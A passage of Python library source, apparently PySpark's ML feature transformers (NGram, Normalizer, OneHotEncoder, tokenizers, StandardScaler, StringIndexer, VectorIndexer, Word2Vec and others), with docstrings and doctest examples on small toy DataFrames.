minDocFreq=0, inputCol=None, outputCol=None): """ setParams(self, minDocFreq=0, inputCol=None, outputCol=None) Sets params for this IDF. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setMinDocFreq(self, value): """ Sets the value of :py:attr:`minDocFreq`. """ self._paramMap[self.minDocFreq] = value return self def getMinDocFreq(self): """ Gets the value of minDocFreq or its default value. """ return self.getOrDefault(self.minDocFreq) def _create_model(self, java_model): return IDFModel(java_model) class IDFModel(JavaModel): """ .. note:: Experimental Model fitted by IDF. """ @inherit_doc @ignore_unicode_prefix class NGram(JavaTransformer, HasInputCol, HasOutputCol): """ .. note:: Experimental A feature transformer that converts the input array of strings into an array of n-grams. Null values in the input array are ignored. It returns an array of n-grams where each n-gram is represented by a space-separated string of words. When the input is empty, an empty array is returned. When the input array length is less than n (number of elements per n-gram), no n-grams are returned. >>> df = sqlContext.createDataFrame([Row(inputTokens=["a", "b", "c", "d", "e"])]) >>> ngram = NGram(n=2, inputCol="inputTokens", outputCol="nGrams") >>> ngram.transform(df).head() Row(inputTokens=[u'a', u'b', u'c', u'd', u'e'], nGrams=[u'a b', u'b c', u'c d', u'd e']) >>> # Change n-gram length >>> ngram.setParams(n=4).transform(df).head() Row(inputTokens=[u'a', u'b', u'c', u'd', u'e'], nGrams=[u'a b c d', u'b c d e']) >>> # Temporarily modify output column. >>> ngram.transform(df, {ngram.outputCol: "output"}).head() Row(inputTokens=[u'a', u'b', u'c', u'd', u'e'], output=[u'a b c d', u'b c d e']) >>> ngram.transform(df).head() Row(inputTokens=[u'a', u'b', u'c', u'd', u'e'], nGrams=[u'a b c d', u'b c d e']) >>> # Must use keyword arguments to specify params. >>> ngram.setParams("text") Traceback (most recent call last): ... TypeError: Method setParams forces keyword arguments. """ # a placeholder to make it appear in the generated doc n = Param(Params._dummy(), "n", "number of elements per n-gram (>=1)") @keyword_only def __init__(self, n=2, inputCol=None, outputCol=None): """ __init__(self, n=2, inputCol=None, outputCol=None) """ super(NGram, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.NGram", self.uid) self.n = Param(self, "n", "number of elements per n-gram (>=1)") self._setDefault(n=2) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, n=2, inputCol=None, outputCol=None): """ setParams(self, n=2, inputCol=None, outputCol=None) Sets params for this NGram. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setN(self, value): """ Sets the value of :py:attr:`n`. """ self._paramMap[self.n] = value return self def getN(self): """ Gets the value of n or its default value. """ return self.getOrDefault(self.n) @inherit_doc class Normalizer(JavaTransformer, HasInputCol, HasOutputCol): """ .. note:: Experimental Normalize a vector to have unit norm using the given p-norm. >>> from pyspark.mllib.linalg import Vectors >>> svec = Vectors.sparse(4, {1: 4.0, 3: 3.0}) >>> df = sqlContext.createDataFrame([(Vectors.dense([3.0, -4.0]), svec)], ["dense", "sparse"]) >>> normalizer = Normalizer(p=2.0, inputCol="dense", outputCol="features") >>> normalizer.transform(df).head().features DenseVector([0.6, -0.8]) >>> normalizer.setParams(inputCol="sparse", outputCol="freqs").transform(df).head().freqs SparseVector(4, {1: 0.8, 3: 0.6}) >>> params = {normalizer.p: 1.0, normalizer.inputCol: "dense", normalizer.outputCol: "vector"} >>> normalizer.transform(df, params).head().vector DenseVector([0.4286, -0.5714]) """ # a placeholder to make it appear in the generated doc p = Param(Params._dummy(), "p", "the p norm value.") @keyword_only def __init__(self, p=2.0, inputCol=None, outputCol=None): """ __init__(self, p=2.0, inputCol=None, outputCol=None) """ super(Normalizer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.Normalizer", self.uid) self.p = Param(self, "p", "the p norm value.") self._setDefault(p=2.0) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, p=2.0, inputCol=None, outputCol=None): """ setParams(self, p=2.0, inputCol=None, outputCol=None) Sets params for this Normalizer. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setP(self, value): """ Sets the value of :py:attr:`p`. """ self._paramMap[self.p] = value return self def getP(self): """ Gets the value of p or its default value. """ return self.getOrDefault(self.p) @inherit_doc class OneHotEncoder(JavaTransformer, HasInputCol, HasOutputCol): """ .. note:: Experimental A one-hot encoder that maps a column of category indices to a column of binary vectors, with at most a single one-value per row that indicates the input category index. For example with 5 categories, an input value of 2.0 would map to an output vector of `[0.0, 0.0, 1.0, 0.0]`. The last category is not included by default (configurable via :py:attr:`dropLast`) because it makes the vector entries sum up to one, and hence linearly dependent. So an input value of 4.0 maps to `[0.0, 0.0, 0.0, 0.0]`. Note that this is different from scikit-learn's OneHotEncoder, which keeps all categories. The output vectors are sparse. .. seealso:: :py:class:`StringIndexer` for converting categorical values into category indices >>> stringIndexer = StringIndexer(inputCol="label", outputCol="indexed") >>> model = stringIndexer.fit(stringIndDf) >>> td = model.transform(stringIndDf) >>> encoder = OneHotEncoder(inputCol="indexed", outputCol="features") >>> encoder.transform(td).head().features SparseVector(2, {0: 1.0}) >>> encoder.setParams(outputCol="freqs").transform(td).head().freqs SparseVector(2, {0: 1.0}) >>> params = {encoder.dropLast: False, encoder.outputCol: "test"} >>> encoder.transform(td, params).head().test SparseVector(3, {0: 1.0}) """ # a placeholder to make it appear in the generated doc dropLast = Param(Params._dummy(), "dropLast", "whether to drop the last category") @keyword_only def __init__(self, dropLast=True, inputCol=None, outputCol=None): """ __init__(self, includeFirst=True, inputCol=None, outputCol=None) """ super(OneHotEncoder, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.OneHotEncoder", self.uid) self.dropLast = Param(self, "dropLast", "whether to drop the last category") self._setDefault(dropLast=True) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, dropLast=True, inputCol=None, outputCol=None): """ setParams(self, dropLast=True, inputCol=None, outputCol=None) Sets params for this OneHotEncoder. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setDropLast(self, value): """ Sets the value of :py:attr:`dropLast`. """ self._paramMap[self.dropLast] = value return self def getDropLast(self): """ Gets the value of dropLast or its default value. """ return self.getOrDefault(self.dropLast) @inherit_doc class PolynomialExpansion(JavaTransformer, HasInputCol, HasOutputCol): """ .. note:: Experimental Perform feature expansion in a polynomial space. As said in wikipedia of Polynomial Expansion, which is available at `http://en.wikipedia.org/wiki/Polynomial_expansion`, "In mathematics, an expansion of a product of sums expresses it as a sum of products by using the fact that multiplication distributes over addition". Take a 2-variable feature vector as an example: `(x, y)`, if we want to expand it with degree 2, then we get `(x, x * x, y, x * y, y * y)`. >>> from pyspark.mllib.linalg import Vectors >>> df = sqlContext.createDataFrame([(Vectors.dense([0.5, 2.0]),)], ["dense"]) >>> px = PolynomialExpansion(degree=2, inputCol="dense", outputCol="expanded") >>> px.transform(df).head().expanded DenseVector([0.5, 0.25, 2.0, 1.0, 4.0]) >>> px.setParams(outputCol="test").transform(df).head().test DenseVector([0.5, 0.25, 2.0, 1.0, 4.0]) """ # a placeholder to make it appear in the generated doc degree = Param(Params._dummy(), "degree", "the polynomial degree to expand (>= 1)") @keyword_only def __init__(self, degree=2, inputCol=None, outputCol=None): """ __init__(self, degree=2, inputCol=None, outputCol=None) """ super(PolynomialExpansion, self).__init__() self._java_obj = self._new_java_obj( "org.apache.spark.ml.feature.PolynomialExpansion", self.uid) self.degree = Param(self, "degree", "the polynomial degree to expand (>= 1)") self._setDefault(degree=2) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, degree=2, inputCol=None, outputCol=None): """ setParams(self, degree=2, inputCol=None, outputCol=None) Sets params for this PolynomialExpansion. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setDegree(self, value): """ Sets the value of :py:attr:`degree`. """ self._paramMap[self.degree] = value return self def getDegree(self): """ Gets the value of degree or its default value. """ return self.getOrDefault(self.degree) @inherit_doc @ignore_unicode_prefix class RegexTokenizer(JavaTransformer, HasInputCol, HasOutputCol): """ .. note:: Experimental A regex based tokenizer that extracts tokens either by using the provided regex pattern (in Java dialect) to split the text (default) or repeatedly matching the regex (if gaps is false). Optional parameters also allow filtering tokens using a minimal length. It returns an array of strings that can be empty. >>> df = sqlContext.createDataFrame([("a b c",)], ["text"]) >>> reTokenizer = RegexTokenizer(inputCol="text", outputCol="words") >>> reTokenizer.transform(df).head() Row(text=u'a b c', words=[u'a', u'b', u'c']) >>> # Change a parameter. >>> reTokenizer.setParams(outputCol="tokens").transform(df).head() Row(text=u'a b c', tokens=[u'a', u'b', u'c']) >>> # Temporarily modify a parameter. >>> reTokenizer.transform(df, {reTokenizer.outputCol: "words"}).head() Row(text=u'a b c', words=[u'a', u'b', u'c']) >>> reTokenizer.transform(df).head() Row(text=u'a b c', tokens=[u'a', u'b', u'c']) >>> # Must use keyword arguments to specify params. >>> reTokenizer.setParams("text") Traceback (most recent call last): ... TypeError: Method setParams forces keyword arguments. """ # a placeholder to make it appear in the generated doc minTokenLength = Param(Params._dummy(), "minTokenLength", "minimum token length (>= 0)") gaps = Param(Params._dummy(), "gaps", "whether regex splits on gaps (True) or matches tokens") pattern = Param(Params._dummy(), "pattern", "regex pattern (Java dialect) used for tokenizing") @keyword_only def __init__(self, minTokenLength=1, gaps=True, pattern="\\s+", inputCol=None, outputCol=None): """ __init__(self, minTokenLength=1, gaps=True, pattern="\\s+", inputCol=None, outputCol=None) """ super(RegexTokenizer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.RegexTokenizer", self.uid) self.minTokenLength = Param(self, "minTokenLength", "minimum token length (>= 0)") self.gaps = Param(self, "gaps", "whether regex splits on gaps (True) or matches tokens") self.pattern = Param(self, "pattern", "regex pattern (Java dialect) used for tokenizing") self._setDefault(minTokenLength=1, gaps=True, pattern="\\s+") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, minTokenLength=1, gaps=True, pattern="\\s+", inputCol=None, outputCol=None): """ setParams(self, minTokenLength=1, gaps=True, pattern="\\s+", inputCol=None, outputCol=None) Sets params for this RegexTokenizer. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setMinTokenLength(self, value): """ Sets the value of :py:attr:`minTokenLength`. """ self._paramMap[self.minTokenLength] = value return self def getMinTokenLength(self): """ Gets the value of minTokenLength or its default value. """ return self.getOrDefault(self.minTokenLength) def setGaps(self, value): """ Sets the value of :py:attr:`gaps`. """ self._paramMap[self.gaps] = value return self def getGaps(self): """ Gets the value of gaps or its default value. """ return self.getOrDefault(self.gaps) def setPattern(self, value): """ Sets the value of :py:attr:`pattern`. """ self._paramMap[self.pattern] = value return self def getPattern(self): """ Gets the value of pattern or its default value. """ return self.getOrDefault(self.pattern) @inherit_doc class SQLTransformer(JavaTransformer): """ .. note:: Experimental Implements the transforms which are defined by SQL statement. Currently we only support SQL syntax like 'SELECT ... FROM __THIS__' where '__THIS__' represents the underlying table of the input dataset. >>> df = sqlContext.createDataFrame([(0, 1.0, 3.0), (2, 2.0, 5.0)], ["id", "v1", "v2"]) >>> sqlTrans = SQLTransformer( ... statement="SELECT *, (v1 + v2) AS v3, (v1 * v2) AS v4 FROM __THIS__") >>> sqlTrans.transform(df).head() Row(id=0, v1=1.0, v2=3.0, v3=4.0, v4=3.0) """ # a placeholder to make it appear in the generated doc statement = Param(Params._dummy(), "statement", "SQL statement") @keyword_only def __init__(self, statement=None): """ __init__(self, statement=None) """ super(SQLTransformer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.SQLTransformer", self.uid) self.statement = Param(self, "statement", "SQL statement") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, statement=None): """ setParams(self, statement=None) Sets params for this SQLTransformer. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setStatement(self, value): """ Sets the value of :py:attr:`statement`. """ self._paramMap[self.statement] = value return self def getStatement(self): """ Gets the value of statement or its default value. """ return self.getOrDefault(self.statement) @inherit_doc class StandardScaler(JavaEstimator, HasInputCol, HasOutputCol): """ .. note:: Experimental Standardizes features by removing the mean and scaling to unit variance using column summary statistics on the samples in the training set. >>> from pyspark.mllib.linalg import Vectors >>> df = sqlContext.createDataFrame([(Vectors.dense([0.0]),), (Vectors.dense([2.0]),)], ["a"]) >>> standardScaler = StandardScaler(inputCol="a", outputCol="scaled") >>> model = standardScaler.fit(df) >>> model.mean DenseVector([1.0]) >>> model.std DenseVector([1.4142]) >>> model.transform(df).collect()[1].scaled DenseVector([1.4142]) """ # a placeholder to make it appear in the generated doc withMean = Param(Params._dummy(), "withMean", "Center data with mean") withStd = Param(Params._dummy(), "withStd", "Scale to unit standard deviation") @keyword_only def __init__(self, withMean=False, withStd=True, inputCol=None, outputCol=None): """ __init__(self, withMean=False, withStd=True, inputCol=None, outputCol=None) """ super(StandardScaler, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.StandardScaler", self.uid) self.withMean = Param(self, "withMean", "Center data with mean") self.withStd = Param(self, "withStd", "Scale to unit standard deviation") self._setDefault(withMean=False, withStd=True) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, withMean=False, withStd=True, inputCol=None, outputCol=None): """ setParams(self, withMean=False, withStd=True, inputCol=None, outputCol=None) Sets params for this StandardScaler. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setWithMean(self, value): """ Sets the value of :py:attr:`withMean`. """ self._paramMap[self.withMean] = value return self def getWithMean(self): """ Gets the value of withMean or its default value. """ return self.getOrDefault(self.withMean) def setWithStd(self, value): """ Sets the value of :py:attr:`withStd`. """ self._paramMap[self.withStd] = value return self def getWithStd(self): """ Gets the value of withStd or its default value. """ return self.getOrDefault(self.withStd) def _create_model(self, java_model): return StandardScalerModel(java_model) class StandardScalerModel(JavaModel): """ .. note:: Experimental Model fitted by StandardScaler. """ @property def std(self): """ Standard deviation of the StandardScalerModel. """ return self._call_java("std") @property def mean(self): """ Mean of the StandardScalerModel. """ return self._call_java("mean") @inherit_doc class StringIndexer(JavaEstimator, HasInputCol, HasOutputCol): """ .. note:: Experimental A label indexer that maps a string column of labels to an ML column of label indices. If the input column is numeric, we cast it to string and index the string values. The indices are in [0, numLabels), ordered by label frequencies. So the most frequent label gets index 0. >>> stringIndexer = StringIndexer(inputCol="label", outputCol="indexed") >>> model = stringIndexer.fit(stringIndDf) >>> td = model.transform(stringIndDf) >>> sorted(set([(i[0], i[1]) for i in td.select(td.id, td.indexed).collect()]), ... key=lambda x: x[0]) [(0, 0.0), (1, 2.0), (2, 1.0), (3, 0.0), (4, 0.0), (5, 1.0)] >>> inverter = IndexToString(inputCol="indexed", outputCol="label2", labels=model.labels()) >>> itd = inverter.transform(td) >>> sorted(set([(i[0], str(i[1])) for i in itd.select(itd.id, itd.label2).collect()]), ... key=lambda x: x[0]) [(0, 'a'), (1, 'b'), (2, 'c'), (3, 'a'), (4, 'a'), (5, 'c')] """ @keyword_only def __init__(self, inputCol=None, outputCol=None): """ __init__(self, inputCol=None, outputCol=None) """ super(StringIndexer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.StringIndexer", self.uid) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inputCol=None, outputCol=None): """ setParams(self, inputCol=None, outputCol=None) Sets params for this StringIndexer. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def _create_model(self, java_model): return StringIndexerModel(java_model) class StringIndexerModel(JavaModel): """ .. note:: Experimental Model fitted by StringIndexer. """ @property def labels(self): """ Ordered list of labels, corresponding to indices to be assigned. """ return self._java_obj.labels @inherit_doc class IndexToString(JavaTransformer, HasInputCol, HasOutputCol): """ .. note:: Experimental A :py:class:`Transformer` that maps a column of string indices back to a new column of corresponding string values using either the ML attributes of the input column, or if provided using the labels supplied by the user. All original columns are kept during transformation. See L{StringIndexer} for converting strings into indices. """ # a placeholder to make the labels show up in generated doc labels = Param(Params._dummy(), "labels", "Optional array of labels to be provided by the user, if not supplied or " + "empty, column metadata is read for labels") @keyword_only def __init__(self, inputCol=None, outputCol=None, labels=None): """ __init__(self, inputCol=None, outputCol=None, labels=None) """ super(IndexToString, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.IndexToString", self.uid) self.labels = Param(self, "labels", "Optional array of labels to be provided by the user, if not " + "supplied or empty, column metadata is read for labels") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inputCol=None, outputCol=None, labels=None): """ setParams(self, inputCol=None, outputCol=None, labels=None) Sets params for this IndexToString. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setLabels(self, value): """ Sets the value of :py:attr:`labels`. """ self._paramMap[self.labels] = value return self def getLabels(self): """ Gets the value of :py:attr:`labels` or its default value. """ return self.getOrDefault(self.labels) class StopWordsRemover(JavaTransformer, HasInputCol, HasOutputCol): """ .. note:: Experimental A feature transformer that filters out stop words from input. Note: null values from input array are preserved unless adding null to stopWords explicitly. """ # a placeholder to make the stopwords show up in generated doc stopWords = Param(Params._dummy(), "stopWords", "The words to be filtered out") caseSensitive = Param(Params._dummy(), "caseSensitive", "whether to do a case sensitive " + "comparison over the stop words") @keyword_only def __init__(self, inputCol=None, outputCol=None, stopWords=None, caseSensitive=False): """ __init__(self, inputCol=None, outputCol=None, stopWords=None,\ caseSensitive=false) """ super(StopWordsRemover, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.StopWordsRemover", self.uid) self.stopWords = Param(self, "stopWords", "The words to be filtered out") self.caseSensitive = Param(self, "caseSensitive", "whether to do a case " + "sensitive comparison over the stop words") stopWordsObj = _jvm().org.apache.spark.ml.feature.StopWords defaultStopWords = stopWordsObj.English() self._setDefault(stopWords=defaultStopWords) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inputCol=None, outputCol=None, stopWords=None, caseSensitive=False): """ setParams(self, inputCol="input", outputCol="output", stopWords=None,\ caseSensitive=false) Sets params for this StopWordRemover. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setStopWords(self, value): """ Specify the stopwords to be filtered. """ self._paramMap[self.stopWords] = value return self def getStopWords(self): """ Get the stopwords. """ return self.getOrDefault(self.stopWords) def setCaseSensitive(self, value): """ Set whether to do a case sensitive comparison over the stop words """ self._paramMap[self.caseSensitive] = value return self def getCaseSensitive(self): """ Get whether to do a case sensitive comparison over the stop words. """ return self.getOrDefault(self.caseSensitive) @inherit_doc @ignore_unicode_prefix class Tokenizer(JavaTransformer, HasInputCol, HasOutputCol): """ .. note:: Experimental A tokenizer that converts the input string to lowercase and then splits it by white spaces. >>> df = sqlContext.createDataFrame([("a b c",)], ["text"]) >>> tokenizer = Tokenizer(inputCol="text", outputCol="words") >>> tokenizer.transform(df).head() Row(text=u'a b c', words=[u'a', u'b', u'c']) >>> # Change a parameter. >>> tokenizer.setParams(outputCol="tokens").transform(df).head() Row(text=u'a b c', tokens=[u'a', u'b', u'c']) >>> # Temporarily modify a parameter. >>> tokenizer.transform(df, {tokenizer.outputCol: "words"}).head() Row(text=u'a b c', words=[u'a', u'b', u'c']) >>> tokenizer.transform(df).head() Row(text=u'a b c', tokens=[u'a', u'b', u'c']) >>> # Must use keyword arguments to specify params. >>> tokenizer.setParams("text") Traceback (most recent call last): ... TypeError: Method setParams forces keyword arguments. """ @keyword_only def __init__(self, inputCol=None, outputCol=None): """ __init__(self, inputCol=None, outputCol=None) """ super(Tokenizer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.Tokenizer", self.uid) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inputCol=None, outputCol=None): """ setParams(self, inputCol="input", outputCol="output") Sets params for this Tokenizer. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) @inherit_doc class VectorAssembler(JavaTransformer, HasInputCols, HasOutputCol): """ .. note:: Experimental A feature transformer that merges multiple columns into a vector column. >>> df = sqlContext.createDataFrame([(1, 0, 3)], ["a", "b", "c"]) >>> vecAssembler = VectorAssembler(inputCols=["a", "b", "c"], outputCol="features") >>> vecAssembler.transform(df).head().features DenseVector([1.0, 0.0, 3.0]) >>> vecAssembler.setParams(outputCol="freqs").transform(df).head().freqs DenseVector([1.0, 0.0, 3.0]) >>> params = {vecAssembler.inputCols: ["b", "a"], vecAssembler.outputCol: "vector"} >>> vecAssembler.transform(df, params).head().vector DenseVector([0.0, 1.0]) """ @keyword_only def __init__(self, inputCols=None, outputCol=None): """ __init__(self, inputCols=None, outputCol=None) """ super(VectorAssembler, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.VectorAssembler", self.uid) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inputCols=None, outputCol=None): """ setParams(self, inputCols=None, outputCol=None) Sets params for this VectorAssembler. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) @inherit_doc class VectorIndexer(JavaEstimator, HasInputCol, HasOutputCol): """ .. note:: Experimental Class for indexing categorical feature columns in a dataset of [[Vector]]. This has 2 usage modes: - Automatically identify categorical features (default behavior) - This helps process a dataset of unknown vectors into a dataset with some continuous features and some categorical features. The choice between continuous and categorical is based upon a maxCategories parameter. - Set maxCategories to the maximum number of categorical any categorical feature should have. - E.g.: Feature 0 has unique values {-1.0, 0.0}, and feature 1 values {1.0, 3.0, 5.0}. If maxCategories = 2, then feature 0 will be declared categorical and use indices {0, 1}, and feature 1 will be declared continuous. - Index all features, if all features are categorical - If maxCategories is set to be very large, then this will build an index of unique values for all features. - Warning: This can cause problems if features are continuous since this will collect ALL unique values to the driver. - E.g.: Feature 0 has unique values {-1.0, 0.0}, and feature 1 values {1.0, 3.0, 5.0}. If maxCategories >= 3, then both features will be declared categorical. This returns a model which can transform categorical features to use 0-based indices. Index stability: - This is not guaranteed to choose the same category index across multiple runs. - If a categorical feature includes value 0, then this is guaranteed to map value 0 to index 0. This maintains vector sparsity. - More stability may be added in the future. TODO: Future extensions: The following functionality is planned for the future: - Preserve metadata in transform; if a feature's metadata is already present, do not recompute. - Specify certain features to not index, either via a parameter or via existing metadata. - Add warning if a categorical feature has only 1 category. - Add option for allowing unknown categories. >>> from pyspark.mllib.linalg import Vectors >>> df = sqlContext.createDataFrame([(Vectors.dense([-1.0, 0.0]),), ... (Vectors.dense([0.0, 1.0]),), (Vectors.dense([0.0, 2.0]),)], ["a"]) >>> indexer = VectorIndexer(maxCategories=2, inputCol="a", outputCol="indexed") >>> model = indexer.fit(df) >>> model.transform(df).head().indexed DenseVector([1.0, 0.0]) >>> indexer.setParams(outputCol="test").fit(df).transform(df).collect()[1].test DenseVector([0.0, 1.0]) >>> params = {indexer.maxCategories: 3, indexer.outputCol: "vector"} >>> model2 = indexer.fit(df, params) >>> model2.transform(df).head().vector DenseVector([1.0, 0.0]) """ # a placeholder to make it appear in the generated doc maxCategories = Param(Params._dummy(), "maxCategories", "Threshold for the number of values a categorical feature can take " + "(>= 2). If a feature is found to have > maxCategories values, then " + "it is declared continuous.") @keyword_only def __init__(self, maxCategories=20, inputCol=None, outputCol=None): """ __init__(self, maxCategories=20, inputCol=None, outputCol=None) """ super(VectorIndexer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.VectorIndexer", self.uid) self.maxCategories = Param(self, "maxCategories", "Threshold for the number of values a categorical feature " + "can take (>= 2). If a feature is found to have " + "> maxCategories values, then it is declared continuous.") self._setDefault(maxCategories=20) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, maxCategories=20, inputCol=None, outputCol=None): """ setParams(self, maxCategories=20, inputCol=None, outputCol=None) Sets params for this VectorIndexer. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setMaxCategories(self, value): """ Sets the value of :py:attr:`maxCategories`. """ self._paramMap[self.maxCategories] = value return self def getMaxCategories(self): """ Gets the value of maxCategories or its default value. """ return self.getOrDefault(self.maxCategories) def _create_model(self, java_model): return VectorIndexerModel(java_model) class VectorIndexerModel(JavaModel): """ .. note:: Experimental Model fitted by VectorIndexer. """ @inherit_doc class VectorSlicer(JavaTransformer, HasInputCol, HasOutputCol): """ .. note:: Experimental This class takes a feature vector and outputs a new feature vector with a subarray of the original features. The subset of features can be specified with either indices (`setIndices()`) or names (`setNames()`). At least one feature must be selected. Duplicate features are not allowed, so there can be no overlap between selected indices and names. The output vector will order features with the selected indices first (in the order given), followed by the selected names (in the order given). >>> from pyspark.mllib.linalg import Vectors >>> df = sqlContext.createDataFrame([ ... (Vectors.dense([-2.0, 2.3, 0.0, 0.0, 1.0]),), ... (Vectors.dense([0.0, 0.0, 0.0, 0.0, 0.0]),), ... (Vectors.dense([0.6, -1.1, -3.0, 4.5, 3.3]),)], ["features"]) >>> vs = VectorSlicer(inputCol="features", outputCol="sliced", indices=[1, 4]) >>> vs.transform(df).head().sliced DenseVector([2.3, 1.0]) """ # a placeholder to make it appear in the generated doc indices = Param(Params._dummy(), "indices", "An array of indices to select features from " + "a vector column. There can be no overlap with names.") names = Param(Params._dummy(), "names", "An array of feature names to select features from " + "a vector column. These names must be specified by ML " + "org.apache.spark.ml.attribute.Attribute. There can be no overlap with " + "indices.") @keyword_only def __init__(self, inputCol=None, outputCol=None, indices=None, names=None): """ __init__(self, inputCol=None, outputCol=None, indices=None, names=None) """ super(VectorSlicer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.VectorSlicer", self.uid) self.indices = Param(self, "indices", "An array of indices to select features from " + "a vector column. There can be no overlap with names.") self.names = Param(self, "names", "An array of feature names to select features from " + "a vector column. These names must be specified by ML " + "org.apache.spark.ml.attribute.Attribute. There can be no overlap " + "with indices.") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inputCol=None, outputCol=None, indices=None, names=None): """ setParams(self, inputCol=None, outputCol=None, indices=None, names=None): Sets params for this VectorSlicer. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setIndices(self, value): """ Sets the value of :py:attr:`indices`. """ self._paramMap[self.indices] = value return self def getIndices(self): """ Gets the value of indices or its default value. """ return self.getOrDefault(self.indices) def setNames(self, value): """ Sets the value of :py:attr:`names`. """ self._paramMap[self.names] = value return self def getNames(self): """ Gets the value of names or its default value. """ return self.getOrDefault(self.names) @inherit_doc @ignore_unicode_prefix class Word2Vec(JavaEstimator, HasStepSize, HasMaxIter, HasSeed, HasInputCol, HasOutputCol): """ .. note:: Experimental Word2Vec trains a model of `Map(String, Vector)`, i.e. transforms a word into a code for further natural language processing or machine learning process. >>> sent = ("a b " * 100 + "a c " * 10).split(" ") >>> doc = sqlContext.createDataFrame([(sent,), (sent,)], ["sentence"]) >>> model = Word2Vec(vectorSize=5, seed=42, inputCol="sentence", outputCol="model").fit(doc) >>> model.getVectors().show() +----+--------------------+ |word| vector| +----+--------------------+ | a|[-0.3511952459812...| | b|[0.29077222943305...| | c|[0.02315592765808...| +----+--------------------+ ... >>> model.findSynonyms("a", 2).show() +----+-------------------+ |word| similarity| +----+-------------------+ | b|0.29255685145799626| | c|-0.5414068302988307| +----+-------------------+ ... >>> model.transform(doc).head().model DenseVector([-0.0422, -0.5138, -0.2546, 0.6885, 0.276]) """ # a placeholder to make it appear in the generated doc vectorSize = Param(Params._dummy(), "vectorSize", "the dimension of codes after transforming from words") numPartitions = Param(Params._dummy(), "numPartitions", "number of partitions for sentences of words") minCount = Param(Params._dummy(), "minCount", "the minimum number of times a token must appear to be included in the " + "word2vec model's vocabulary") @keyword_only def __init__(self, vectorSize=100, minCount=5, numPartitions=1, stepSize=0.025, maxIter=1, seed=None, inputCol=None, outputCol=None): """ __init__(self, vectorSize=100, minCount=5, numPartitions=1, stepSize=0.025, maxIter=1, \ seed=None, inputCol=None, outputCol=None) """ super(Word2Vec, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.Word2Vec", self.uid) self.vectorSize = Param(self, "vectorSize", "the dimension of codes after transforming from words") self.numPartitions = Param(self, "numPartitions", "number of partitions for sentences of words") self.minCount = Param(self, "minCount", "the minimum number of times a token must appear to be included " + "in the word2vec model's vocabulary") self._setDefault(vectorSize=100, minCount=5, numPartitions=1, stepSize=0.025, maxIter=1, seed=None) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, vectorSize=100, minCount=5, numPartitions=1, stepSize=0.025, maxIter=1, seed=None, inputCol=None, outputCol=None): """ setParams(self, minCount=5, numPartitions=1, stepSize=0.025, maxIter=1, seed=None, \ inputCol=None, outputCol=None) Sets params for this Word2Vec. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setVectorSize(self, value): """ Sets the value of :py:attr:`vectorSize`. """ self._paramMap[self.vectorSize] = value return self def getVectorSize(self): """ Gets the value of vectorSize or its default value. """ return self.getOrDefault(self.vectorSize) def setNumPartitions(self, value): """ Sets the value of :py:attr:`numPartitions`. """ self._paramMap[self.numPartitions] = value return self def getNumPartitions(self): """ Gets the value of numPartitions or its default value. """ return self.getOrDefault(self.numPartitions) def setMinCount(self, value): """ Sets the value of :py:attr:`minCount`. """ self._paramMap[self.minCount] = value return self def getMinCount(self): """ Gets the value of minCount or its default value. """ return self.getOrDefault(self.minCount) def _create_model(self, java_model): return Word2VecModel(java_model) class Word2VecModel(JavaModel): """ .. note:: Experimental Model fitted by Word2Vec. """ def getVectors(self): """ Returns the vector representation of the words as a dataframe with two fields, word and vector. """ return self._call_java("getVectors") def findSynonyms(self, word, num): """ Find "num" number of words closest in similarity to "word". word can be a string or vector representation. Returns a dataframe with two fields word and similarity (which gives the cosine similarity). """ if not isinstance(word, basestring): word = _convert_to_vector(word) return self._call_java("findSynonyms", word, num) @inherit_doc 